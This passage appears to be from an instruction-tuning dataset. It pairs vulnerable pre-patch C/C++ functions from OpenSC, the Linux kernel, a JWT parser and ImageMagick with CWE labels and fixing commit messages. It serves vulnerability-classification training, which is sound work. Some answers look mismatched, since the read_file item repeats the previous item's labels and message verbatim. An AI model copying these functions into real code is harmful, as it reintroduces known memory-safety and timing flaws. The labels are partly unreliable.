(r < 0) {\n\t\t\tsc_log(card->ctx, \"Could not read cert object\");\n\t\t\treturn SC_ERROR_INTERNAL;\n\t\t}\n\t\tiptr += GEMSAFE_READ_QUANTUM;\n\t}\n\n\t/* Search buffer for certificates, they start with 0x3082. */\n\ti = 0;\n\twhile (ind < objlen - 1) {\n\t\tif (ibuf[ind] == 0x30 && ibuf[ind+1] == 0x82) {\n\t\t\t/* Find next allocated key container */\n\t\t\twhile (i < gemsafe_cert_max && gemsafe_cert[i].label == NULL)\n\t\t\t\ti++;\n\t\t\tif (i == gemsafe_cert_max) {\n\t\t\t\tsc_log(card->ctx, \"Warning: Found orphaned certificate at offset %d\", ind);\n\t\t\t\treturn SC_SUCCESS;\n\t\t\t}\n\t\t\t/* DER cert len is encoded this way */\n\t\t\tif (ind+3 >= sizeof ibuf)\n\t\t\t\treturn SC_ERROR_INVALID_DATA;\n\t\t\tcertlen = ((((size_t) ibuf[ind+2]) << 8) | ibuf[ind+3]) + 4;\n\t\t\tsc_log(card->ctx,\n\t\t\t \"Found certificate of key container %d at offset %d, len %\"SC_FORMAT_LEN_SIZE_T\"u\",\n\t\t\t i+1, ind, certlen);\n\t\t\tgemsafe_cert[i].index = ind;\n\t\t\tgemsafe_cert[i].count = certlen;\n\t\t\tind += certlen;\n\t\t\ti++;\n\t\t} else\n\t\t\tind++;\n\t}\n\n\t/* Delete additional key containers from the data structures if\n\t * they're missing on the card.\n\t */\n\tfor (; i < gemsafe_cert_max; i++) {\n\t\tif (gemsafe_cert[i].label) {\n\t\t\tsc_log(card->ctx, \"Warning: Certificate of key container %d is missing\", i+1);\n\t\t\tgemsafe_prkeys[i].label = NULL;\n\t\t\tgemsafe_cert[i].label = NULL;\n\t\t}\n\t}\n\n\treturn SC_SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415', 'CWE-119'], 'message': 'fixed out of bounds writes\n\nThanks to Eric Sesterhenn from X41 D-SEC GmbH\nfor reporting the problems.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int read_file(struct sc_card *card, char *str_path, unsigned char **data, size_t *data_len)\n{\n\tstruct sc_path path;\n\tstruct sc_file *file;\n\tunsigned char *p;\n\tint ok = 0;\n\tint r;\n\tsize_t len;\n\n\tsc_format_path(str_path, &path);\n\tif (SC_SUCCESS != sc_select_file(card, &path, &file)) {\n\t\tgoto err;\n\t}\n\n\tlen = file ? file->size : 4096;\n\tp = realloc(*data, len);\n\tif (!p) {\n\t\tgoto err;\n\t}\n\t*data = p;\n\t*data_len = len;\n\n\tr = sc_read_binary(card, 0, p, len, 0);\n\tif (r < 0)\n\t\tgoto err;\n\n\t*data_len = r;\n\tok = 1;\n\nerr:\n\tsc_file_free(file);\n\n\treturn ok;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415', 'CWE-119'], 'message': 'fixed out of bounds writes\n\nThanks to Eric Sesterhenn from X41 D-SEC GmbH\nfor reporting the problems.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void show_opcodes(u8 *rip, const char *loglvl)\n{\n#define PROLOGUE_SIZE 42\n#define EPILOGUE_SIZE 21\n#define OPCODE_BUFSIZE (PROLOGUE_SIZE + 1 + EPILOGUE_SIZE)\n\tu8 opcodes[OPCODE_BUFSIZE];\n\n\tif (probe_kernel_read(opcodes, rip - PROLOGUE_SIZE, OPCODE_BUFSIZE)) {\n\t\tprintk(\"%sCode: Bad RIP value.\\n\", loglvl);\n\t} else {\n\t\tprintk(\"%sCode: %\" __stringify(PROLOGUE_SIZE) \"ph <%02x> %\"\n\t\t __stringify(EPILOGUE_SIZE) \"ph\\n\", loglvl, opcodes,\n\t\t opcodes[PROLOGUE_SIZE], opcodes + PROLOGUE_SIZE + 1);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'x86/dumpstack: Don't dump kernel memory based on usermode RIP\n\n\nshow_opcodes() is used both for dumping kernel instructions and for dumping\nuser instructions. If userspace causes #PF by jumping to a kernel address,\nshow_opcodes() can be reached with regs->ip controlled by the user,\npointing to kernel code. Make sure that userspace can't trick us into\ndumping kernel memory into dmesg.\n\nFixes: 7cccf0725cf7 (\"x86/dumpstack: Add a show_ip() function\")\nSigned-off-by: Jann Horn \nSigned-off-by: Thomas Gleixner \nReviewed-by: Kees Cook \nReviewed-by: Borislav Petkov \nCc: \"H. Peter Anvin\" \nCc: Andy Lutomirski \nCc: security@kernel.org\nCc: stable@vger.kernel.org\nLink: https://lkml.kernel.org/r/20180828154901.112726-1-jannh@google.com'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int l2tp_eth_create(struct net *net, u32 tunnel_id, u32 session_id, u32 peer_session_id, struct l2tp_session_cfg *cfg)\n{\n\tunsigned char name_assign_type;\n\tstruct net_device *dev;\n\tchar name[IFNAMSIZ];\n\tstruct l2tp_tunnel *tunnel;\n\tstruct l2tp_session *session;\n\tstruct l2tp_eth *priv;\n\tstruct l2tp_eth_sess *spriv;\n\tint rc;\n\tstruct l2tp_eth_net *pn;\n\n\ttunnel = l2tp_tunnel_find(net, tunnel_id);\n\tif (!tunnel) {\n\t\trc = -ENODEV;\n\t\tgoto out;\n\t}\n\n\tif (cfg->ifname) {\n\t\tstrlcpy(name, cfg->ifname, IFNAMSIZ);\n\t\tname_assign_type = NET_NAME_USER;\n\t} else {\n\t\tstrcpy(name, L2TP_ETH_DEV_NAME);\n\t\tname_assign_type = NET_NAME_ENUM;\n\t}\n\n\tsession = l2tp_session_create(sizeof(*spriv), tunnel, session_id,\n\t\t\t\t peer_session_id, cfg);\n\tif (IS_ERR(session)) {\n\t\trc = PTR_ERR(session);\n\t\tgoto out;\n\t}\n\n\tdev = alloc_netdev(sizeof(*priv), name, name_assign_type,\n\t\t\t l2tp_eth_dev_setup);\n\tif (!dev) {\n\t\trc = -ENOMEM;\n\t\tgoto out_del_session;\n\t}\n\n\tdev_net_set(dev, net);\n\tdev->min_mtu = 0;\n\tdev->max_mtu = ETH_MAX_MTU;\n\tl2tp_eth_adjust_mtu(tunnel, session, dev);\n\n\tpriv = netdev_priv(dev);\n\tpriv->dev = dev;\n\tpriv->session = session;\n\tINIT_LIST_HEAD(&priv->list);\n\n\tpriv->tunnel_sock = tunnel->sock;\n\tsession->recv_skb = l2tp_eth_dev_recv;\n\tsession->session_close = l2tp_eth_delete;\n#if IS_ENABLED(CONFIG_L2TP_DEBUGFS)\n\tsession->show = l2tp_eth_show;\n#endif\n\n\tspriv = l2tp_session_priv(session);\n\tspriv->dev = dev;\n\n\trc = register_netdev(dev);\n\tif (rc < 0)\n\t\tgoto out_del_dev;\n\n\t__module_get(THIS_MODULE);\n\t/* Must be done after register_netdev() */\n\tstrlcpy(session->ifname, dev->name, IFNAMSIZ);\n\n\tdev_hold(dev);\n\tpn = l2tp_eth_pernet(dev_net(dev));\n\tspin_lock(&pn->l2tp_eth_lock);\n\tlist_add(&priv->list, &pn->l2tp_eth_dev_list);\n\tspin_unlock(&pn->l2tp_eth_lock);\n\n\treturn 0;\n\nout_del_dev:\n\tfree_netdev(dev);\n\tspriv->dev = NULL;\nout_del_session:\n\tl2tp_session_delete(session);\nout:\n\treturn rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'l2tp: pass tunnel pointer to ->session_create()\n\nUsing l2tp_tunnel_find() in pppol2tp_session_create() and\nl2tp_eth_create() is racy, because no reference is held on the\nreturned session. These functions are only used to implement the\n->session_create callback which is run by l2tp_nl_cmd_session_create().\nTherefore searching for the parent tunnel isn't necessary because\nl2tp_nl_cmd_session_create() already has a pointer to it and holds a\nreference.\n\nThis patch modifies ->session_create()'s prototype to directly pass the\nthe parent tunnel as parameter, thus avoiding searching for it in\npppol2tp_session_create() and l2tp_eth_create().\n\nSince we have to touch the ->session_create() call in\nl2tp_nl_cmd_session_create(), let's also remove the useless conditional:\nwe know that ->session_create isn't NULL at this point because it's\nalready been checked earlier in this same function.\n\nFinally, one might be tempted to think that the removed\nl2tp_tunnel_find() calls were harmless because they would return the\nsame tunnel as the one held by l2tp_nl_cmd_session_create() anyway.\nBut that tunnel might be removed and a new one created with same tunnel\nId before the l2tp_tunnel_find() call. In this case l2tp_tunnel_find()\nwould return the new tunnel which wouldn't be protected by the\nreference held by l2tp_nl_cmd_session_create().\n\nFixes: 309795f4bec2 (\"l2tp: Add netlink control API for L2TP\")\nFixes: d9e31d17ceba (\"l2tp: Add L2TP ethernet pseudowire support\")\nSigned-off-by: Guillaume Nault \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void dump_mm(const struct mm_struct *mm)\n{\n\tpr_emerg(\"mm %px mmap %px seqnum %d task_size %lu\\n\"\n#ifdef CONFIG_MMU\n\t\t\"get_unmapped_area %px\\n\"\n#endif\n\t\t\"mmap_base %lu mmap_legacy_base %lu highest_vm_end %lu\\n\"\n\t\t\"pgd %px mm_users %d mm_count %d pgtables_bytes %lu map_count %d\\n\"\n\t\t\"hiwater_rss %lx hiwater_vm %lx total_vm %lx locked_vm %lx\\n\"\n\t\t\"pinned_vm %lx data_vm %lx exec_vm %lx stack_vm %lx\\n\"\n\t\t\"start_code %lx end_code %lx start_data %lx end_data %lx\\n\"\n\t\t\"start_brk %lx brk %lx start_stack %lx\\n\"\n\t\t\"arg_start %lx arg_end %lx env_start %lx env_end %lx\\n\"\n\t\t\"binfmt %px flags %lx core_state %px\\n\"\n#ifdef CONFIG_AIO\n\t\t\"ioctx_table %px\\n\"\n#endif\n#ifdef CONFIG_MEMCG\n\t\t\"owner %px \"\n#endif\n\t\t\"exe_file %px\\n\"\n#ifdef CONFIG_MMU_NOTIFIER\n\t\t\"mmu_notifier_mm %px\\n\"\n#endif\n#ifdef CONFIG_NUMA_BALANCING\n\t\t\"numa_next_scan %lu numa_scan_offset %lu numa_scan_seq %d\\n\"\n#endif\n\t\t\"tlb_flush_pending %d\\n\"\n\t\t\"def_flags: %#lx(%pGv)\\n\",\n\n\t\tmm, mm->mmap, mm->vmacache_seqnum, mm->task_size,\n#ifdef CONFIG_MMU\n\t\tmm->get_unmapped_area,\n#endif\n\t\tmm->mmap_base, mm->mmap_legacy_base, mm->highest_vm_end,\n\t\tmm->pgd, atomic_read(&mm->mm_users),\n\t\tatomic_read(&mm->mm_count),\n\t\tmm_pgtables_bytes(mm),\n\t\tmm->map_count,\n\t\tmm->hiwater_rss, mm->hiwater_vm, mm->total_vm, mm->locked_vm,\n\t\tmm->pinned_vm, mm->data_vm, mm->exec_vm, mm->stack_vm,\n\t\tmm->start_code, mm->end_code, mm->start_data, mm->end_data,\n\t\tmm->start_brk, mm->brk, mm->start_stack,\n\t\tmm->arg_start, mm->arg_end, mm->env_start, mm->env_end,\n\t\tmm->binfmt, mm->flags, mm->core_state,\n#ifdef CONFIG_AIO\n\t\tmm->ioctx_table,\n#endif\n#ifdef CONFIG_MEMCG\n\t\tmm->owner,\n#endif\n\t\tmm->exe_file,\n#ifdef CONFIG_MMU_NOTIFIER\n\t\tmm->mmu_notifier_mm,\n#endif\n#ifdef CONFIG_NUMA_BALANCING\n\t\tmm->numa_next_scan, mm->numa_scan_offset, mm->numa_scan_seq,\n#endif\n\t\tatomic_read(&mm->tlb_flush_pending),\n\t\tmm->def_flags, &mm->def_flags\n\t);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'mm: get rid of vmacache_flush_all() entirely\n\nJann Horn points out that the vmacache_flush_all() function is not only\npotentially expensive, it's buggy too. It also happens to be entirely\nunnecessary, because the sequence number overflow case can be avoided by\nsimply making the sequence number be 64-bit. That doesn't even grow the\ndata structures in question, because the other adjacent fields are\nalready 64-bit.\n\nSo simplify the whole thing by just making the sequence number overflow\ncase go away entirely, which gets rid of all the complications and makes\nthe code faster too. Win-win.\n\n[ Oleg Nesterov points out that the VMACACHE_FULL_FLUSHES statistics\n also just goes away entirely with this ]\n\nReported-by: Jann Horn \nSuggested-by: Will Deacon \nAcked-by: Davidlohr Bueso \nCc: Oleg Nesterov \nCc: stable@kernel.org\nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: Try JWT::parse(const string& token, const string& secret)\n{\n const vector components = strings::split(token, \".\");\n\n if (components.size() != 3) {\n return JWTError(\n \"Expected 3 components in token, got \" + stringify(components.size()),\n JWTError::Type::INVALID_TOKEN);\n }\n\n Try header = parse_header(components[0]);\n\n if (header.isError()) {\n return JWTError(header.error(), JWTError::Type::INVALID_TOKEN);\n }\n\n if (header->alg != JWT::Alg::HS256) {\n return JWTError(\n \"Token 'alg' value \\\"\" + stringify(header->alg) +\n \"\\\" does not match, expected \\\"HS256\\\"\",\n JWTError::Type::INVALID_TOKEN);\n }\n\n Try payload = parse_payload(components[1]);\n\n if (payload.isError()) {\n return JWTError(payload.error(), JWTError::Type::INVALID_TOKEN);\n }\n\n const Try signature = base64::decode_url_safe(components[2]);\n\n if (signature.isError()) {\n return JWTError(\n \"Failed to base64url-decode token signature: \" + signature.error(),\n JWTError::Type::INVALID_TOKEN);\n }\n\n // Validate HMAC SHA256 signature.\n\n Try hmac = generate_hmac_sha256(\n components[0] + \".\" + components[1],\n secret);\n\n if (hmac.isError()) {\n return JWTError(\n \"Failed to generate HMAC signature: \" + hmac.error(),\n JWTError::Type::UNKNOWN);\n }\n\n const bool valid = hmac.get() == signature.get();\n\n if (!valid) {\n return JWTError(\n \"Token signature does not match\",\n JWTError::Type::INVALID_TOKEN);\n }\n\n return JWT(header.get(), payload.get(), signature.get());\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'Added constant time comparison of JWT signatures.\n\nA vulnerability in our JWT implementation allows an unauthenticated\nremote attacker to execute to execute timing attacks [1].\n\nThis patch removes the vulnerability by adding a constant time\ncomparison of hashes, where the whole message is visited during\nthe comparison instead of returning at the first failure.\n\n[1] https://codahale.com/a-lesson-in-timing-attacks/\n\nReview: https://reviews.apache.org/r/67357'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static MagickBooleanType WritePDBImage(const ImageInfo *image_info,Image *image,\n ExceptionInfo *exception)\n{\n const char\n *comment;\n\n int\n bits;\n\n MagickBooleanType\n status;\n\n PDBImage\n pdb_image;\n\n PDBInfo\n pdb_info;\n\n QuantumInfo\n *quantum_info;\n\n register const Quantum\n *p;\n\n register ssize_t\n x;\n\n register unsigned char\n *q;\n\n size_t\n bits_per_pixel,\n literal,\n packets,\n packet_size,\n repeat;\n\n ssize_t\n y;\n\n unsigned char\n *buffer,\n *runlength,\n *scanline;\n\n /*\n Open output image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n assert(image != (Image *) NULL);\n assert(image->signature == MagickCoreSignature);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",image->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n status=OpenBlob(image_info,image,WriteBinaryBlobMode,exception);\n if (status == MagickFalse)\n return(status);\n (void) TransformImageColorspace(image,sRGBColorspace,exception);\n if (SetImageMonochrome(image,exception) != MagickFalse) {\n bits_per_pixel=1;\n } else if (image->colors <= 4) {\n bits_per_pixel=2;\n } else if (image->colors <= 8) {\n bits_per_pixel=3;\n } else {\n bits_per_pixel=4;\n }\n (void) memset(&pdb_info,0,sizeof(pdb_info));\n (void) memset(&pdb_image,0,sizeof(pdb_image));\n (void) CopyMagickString(pdb_info.name,image_info->filename,\n sizeof(pdb_info.name));\n pdb_info.attributes=0;\n pdb_info.version=0;\n pdb_info.create_time=time(NULL);\n pdb_info.modify_time=pdb_info.create_time;\n pdb_info.archive_time=0;\n pdb_info.modify_number=0;\n pdb_info.application_info=0;\n pdb_info.sort_info=0;\n (void) memcpy(pdb_info.type,\"vIMG\",4);\n (void) memcpy(pdb_info.id,\"View\",4);\n pdb_info.seed=0;\n pdb_info.next_record=0;\n comment=GetImageProperty(image,\"comment\",exception);\n pdb_info.number_records=(comment == (const char *) NULL ? 1 : 2);\n (void) WriteBlob(image,sizeof(pdb_info.name),(unsigned char *) pdb_info.name);\n (void) WriteBlobMSBShort(image,(unsigned short) pdb_info.attributes);\n (void) WriteBlobMSBShort(image,(unsigned short) pdb_info.version);\n (void) WriteBlobMSBLong(image,(unsigned int) pdb_info.create_time);\n (void) WriteBlobMSBLong(image,(unsigned int) pdb_info.modify_time);\n (void) WriteBlobMSBLong(image,(unsigned int) pdb_info.archive_time);\n (void) WriteBlobMSBLong(image,(unsigned int) pdb_info.modify_number);\n (void) WriteBlobMSBLong(image,(unsigned int) pdb_info.application_info);\n (void) WriteBlobMSBLong(image,(unsigned int) pdb_info.sort_info);\n (void) WriteBlob(image,4,(unsigned char *) pdb_info.type);\n (void) WriteBlob(image,4,(unsigned char *) pdb_info.id);\n (void) WriteBlobMSBLong(image,(unsigned int) pdb_info.seed);\n (void) WriteBlobMSBLong(image,(unsigned int) pdb_info.next_record);\n (void) WriteBlobMSBShort(image,(unsigned short) pdb_info.number_records);\n (void) CopyMagickString(pdb_image.name,pdb_info.name,sizeof(pdb_image.name));\n pdb_image.version=1; /* RLE Compressed */\n switch (bits_per_pixel)\n {\n case 1: pdb_image.type=(unsigned char) 0xff; break; /* monochrome */\n case 2: pdb_image.type=(unsigned char) 0x00; break; /* 2 bit gray */\n default: pdb_image.type=(unsigned char) 0x02; /* 4 bit gray */\n }\n pdb_image.reserved_1=0;\n pdb_image.note=0;\n pdb_image.x_last=0;\n pdb_image.y_last=0;\n pdb_image.reserved_2=0;\n pdb_image.x_anchor=(unsigned short) 0xffff;\n pdb_image.y_anchor=(unsigned short) 0xffff;\n pdb_image.width=(short) image->columns;\n if (image->columns % 16)\n pdb_image.width=(short) (16*(image->columns/16+1));\n pdb_image.height=(short) image->rows;\n packets=((bits_per_pixel*image->columns+7)/8);\n packet_size=(size_t) (image->depth > 8 ? 2 : 1);\n runlength=(unsigned char *) AcquireQuantumMemory(9UL*packets,\n image->rows*sizeof(*runlength));\n buffer=(unsigned char *) AcquireQuantumMemory(512,sizeof(*buffer));\n scanline=(unsigned char *) AcquireQuantumMemory(image->columns,packet_size*\n sizeof(*scanline));\n if ((runlength == (unsigned char *) NULL) ||\n (buffer == (unsigned char *) NULL) ||\n (scanline == (unsigned char *) NULL))\n {\n if (runlength != (unsigned char *) NULL)\n runlength=(unsigned char *) RelinquishMagickMemory(runlength);\n if (buffer != (unsigned char *) NULL)\n buffer=(unsigned char *) RelinquishMagickMemory(buffer);\n if (scanline != (unsigned char *) NULL)\n scanline=(unsigned char *) RelinquishMagickMemory(scanline);\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n (void) ResetMagickMemory(buffer,0,512*sizeof(*buffer));\n if (IssRGBCompatibleColorspace(image->colorspace) == MagickFalse)\n (void) TransformImageColorspace(image,sRGBColorspace,exception);\n /*\n Convert to GRAY raster scanline.\n */\n quantum_info=AcquireQuantumInfo(image_info,image);\n if (quantum_info == (QuantumInfo *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n status=SetQuantumDepth(image,quantum_info,image->depth > 8 ? 16 : 8);\n bits=8/(int) bits_per_pixel-1; /* start at most significant bits */\n literal=0;\n repeat=0;\n q=runlength;\n buffer[0]=0x00;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n if (p == (const Quantum *) NULL)\n break;\n (void) ExportQuantumPixels(image,(CacheView *) NULL,quantum_info,\n GrayQuantum,scanline,exception);\n for (x=0; x < (ssize_t) pdb_image.width; x++)\n {\n if (x < (ssize_t) image->columns)\n buffer[literal+repeat]|=(0xff-scanline[x*packet_size]) >>\n (8-bits_per_pixel) << bits*bits_per_pixel;\n bits--;\n if (bits < 0)\n {\n if (((literal+repeat) > 0) &&\n (buffer[literal+repeat] == buffer[literal+repeat-1]))\n {\n if (repeat == 0)\n {\n literal--;\n repeat++;\n }\n repeat++;\n if (0x7f < repeat)\n {\n q=EncodeRLE(q,buffer,literal,repeat);\n literal=0;\n repeat=0;\n }\n }\n else\n {\n if (repeat >= 2)\n literal+=repeat;\n else\n {\n q=EncodeRLE(q,buffer,literal,repeat);\n buffer[0]=buffer[literal+repeat];\n literal=0;\n }\n literal++;\n repeat=0;\n if (0x7f < literal)\n {\n q=EncodeRLE(q,buffer,(literal < 0x80 ? literal : 0x80),0);\n (void) memmove(buffer,buffer+literal+repeat,0x80);\n literal-=0x80;\n }\n }\n bits=8/(int) bits_per_pixel-1;\n buffer[literal+repeat]=0x00;\n }\n }\n status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n q=EncodeRLE(q,buffer,literal,repeat);\n scanline=(unsigned char *) RelinquishMagickMemory(scanline);\n buffer=(unsigned char *) RelinquishMagickMemory(buffer);\n quantum_info=DestroyQuantumInfo(quantum_info);\n /*\n Write the Image record header.\n */\n (void) WriteBlobMSBLong(image,(unsigned int)\n (TellBlob(image)+8*pdb_info.number_records));\n (void) WriteBlobByte(image,0x40);\n (void) WriteBlobByte(image,0x6f);\n (void) WriteBlobByte(image,0x80);\n (void) WriteBlobByte(image,0);\n if (pdb_info.number_records > 1)\n {\n /*\n Write the comment record header.\n */\n (void) WriteBlobMSBLong(image,(unsigned int) (TellBlob(image)+8+58+q-\n runlength));\n (void) WriteBlobByte(image,0x40);\n (void) WriteBlobByte(image,0x6f);\n (void) WriteBlobByte(image,0x80);\n (void) WriteBlobByte(image,1);\n }\n /*\n Write the Image data.\n */\n (void) WriteBlob(image,sizeof(pdb_image.name),(unsigned char *)\n pdb_image.name);\n (void) WriteBlobByte(image,(unsigned char) pdb_image.version);\n (void) WriteBlobByte(image,pdb_image.type);\n (void) WriteBlobMSBLong(image,(unsigned int) pdb_image.reserved_1);\n (void) WriteBlobMSBLong(image,(unsigned int) pdb_image.note);\n (void) WriteBlobMSBShort(image,(unsigned short) pdb_image.x_last);\n (void) WriteBlobMSBShort(image,(unsigned short) pdb_image.y_last);\n (void) WriteBlobMSBLong(image,(unsigned int) pdb_image.reserved_2);\n (void) WriteBlobMSBShort(image,pdb_image.x_anchor);\n (void) WriteBlobMSBShort(image,pdb_image.y_anchor);\n (void) WriteBlobMSBShort(image,(unsigned short) pdb_image.width);\n (void) WriteBlobMSBShort(image,(unsigned short) pdb_image.height);\n (void) WriteBlob(image,(size_t) (q-runlength),runlength);\n runlength=(unsigned char *) RelinquishMagickMemory(runlength);\n if (pdb_info.number_records > 1)\n (void) WriteBlobString(image,comment);\n (void) CloseBlob(image);\n return(MagickTrue);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-772'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1050'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Image *ReadBMPImage(const ImageInfo *image_info,ExceptionInfo *exception)\n{\n BMPInfo\n bmp_info;\n\n Image\n *image;\n\n MagickBooleanType\n status;\n\n MagickOffsetType\n offset,\n start_position;\n\n MemoryInfo\n *pixel_info;\n\n Quantum\n index;\n\n register Quantum\n *q;\n\n register ssize_t\n i,\n x;\n\n register unsigned char\n *p;\n\n size_t\n bit,\n bytes_per_line,\n length;\n\n ssize_t\n count,\n y;\n\n unsigned char\n magick[12],\n *pixels;\n\n unsigned int\n blue,\n green,\n offset_bits,\n red;\n\n /*\n Open image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n image=AcquireImage(image_info,exception);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n /*\n Determine if this a BMP file.\n */\n (void) memset(&bmp_info,0,sizeof(bmp_info));\n bmp_info.ba_offset=0;\n start_position=0;\n offset_bits=0;\n count=ReadBlob(image,2,magick);\n if (count != 2)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n do\n {\n PixelInfo\n quantum_bits;\n\n PixelPacket\n shift;\n\n /*\n Verify BMP identifier.\n */\n if (bmp_info.ba_offset == 0)\n start_position=TellBlob(image)-2;\n bmp_info.ba_offset=0;\n while (LocaleNCompare((char *) magick,\"BA\",2) == 0)\n {\n bmp_info.file_size=ReadBlobLSBLong(image);\n bmp_info.ba_offset=ReadBlobLSBLong(image);\n bmp_info.offset_bits=ReadBlobLSBLong(image);\n count=ReadBlob(image,2,magick);\n if (count != 2)\n break;\n }\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\" Magick: %c%c\",\n magick[0],magick[1]);\n if ((count != 2) || ((LocaleNCompare((char *) magick,\"BM\",2) != 0) &&\n (LocaleNCompare((char *) magick,\"CI\",2) != 0)))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n bmp_info.file_size=ReadBlobLSBLong(image);\n (void) ReadBlobLSBLong(image);\n bmp_info.offset_bits=ReadBlobLSBLong(image);\n bmp_info.size=ReadBlobLSBLong(image);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\" BMP size: %u\",\n bmp_info.size);\n if (bmp_info.size == 12)\n {\n /*\n OS/2 BMP image file.\n */\n (void) CopyMagickString(image->magick,\"BMP2\",MagickPathExtent);\n bmp_info.width=(ssize_t) ((short) ReadBlobLSBShort(image));\n bmp_info.height=(ssize_t) ((short) ReadBlobLSBShort(image));\n bmp_info.planes=ReadBlobLSBShort(image);\n bmp_info.bits_per_pixel=ReadBlobLSBShort(image);\n bmp_info.x_pixels=0;\n bmp_info.y_pixels=0;\n bmp_info.number_colors=0;\n bmp_info.compression=BI_RGB;\n bmp_info.image_size=0;\n bmp_info.alpha_mask=0;\n if (image->debug != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Format: OS/2 Bitmap\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Geometry: %.20gx%.20g\",(double) bmp_info.width,(double)\n bmp_info.height);\n }\n }\n else\n {\n /*\n Microsoft Windows BMP image file.\n */\n if (bmp_info.size < 40)\n ThrowReaderException(CorruptImageError,\"NonOS2HeaderSizeError\");\n bmp_info.width=(ssize_t) ReadBlobLSBSignedLong(image);\n bmp_info.height=(ssize_t) ReadBlobLSBSignedLong(image);\n bmp_info.planes=ReadBlobLSBShort(image);\n bmp_info.bits_per_pixel=ReadBlobLSBShort(image);\n bmp_info.compression=ReadBlobLSBLong(image);\n bmp_info.image_size=ReadBlobLSBLong(image);\n bmp_info.x_pixels=ReadBlobLSBLong(image);\n bmp_info.y_pixels=ReadBlobLSBLong(image);\n bmp_info.number_colors=ReadBlobLSBLong(image);\n if (bmp_info.number_colors > GetBlobSize(image))\n ThrowReaderException(CorruptImageError,\"InsufficientImageDataInFile\");\n bmp_info.colors_important=ReadBlobLSBLong(image);\n if (image->debug != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Format: MS Windows bitmap\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Geometry: %.20gx%.20g\",(double) bmp_info.width,(double)\n bmp_info.height);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Bits per pixel: %.20g\",(double) bmp_info.bits_per_pixel);\n switch (bmp_info.compression)\n {\n case BI_RGB:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: BI_RGB\");\n break;\n }\n case BI_RLE4:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: BI_RLE4\");\n break;\n }\n case BI_RLE8:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: BI_RLE8\");\n break;\n }\n case BI_BITFIELDS:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: BI_BITFIELDS\");\n break;\n }\n case BI_PNG:\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression: BI_PNG\");\n break;\n }\n case BI_JPEG:\n {\n (void) 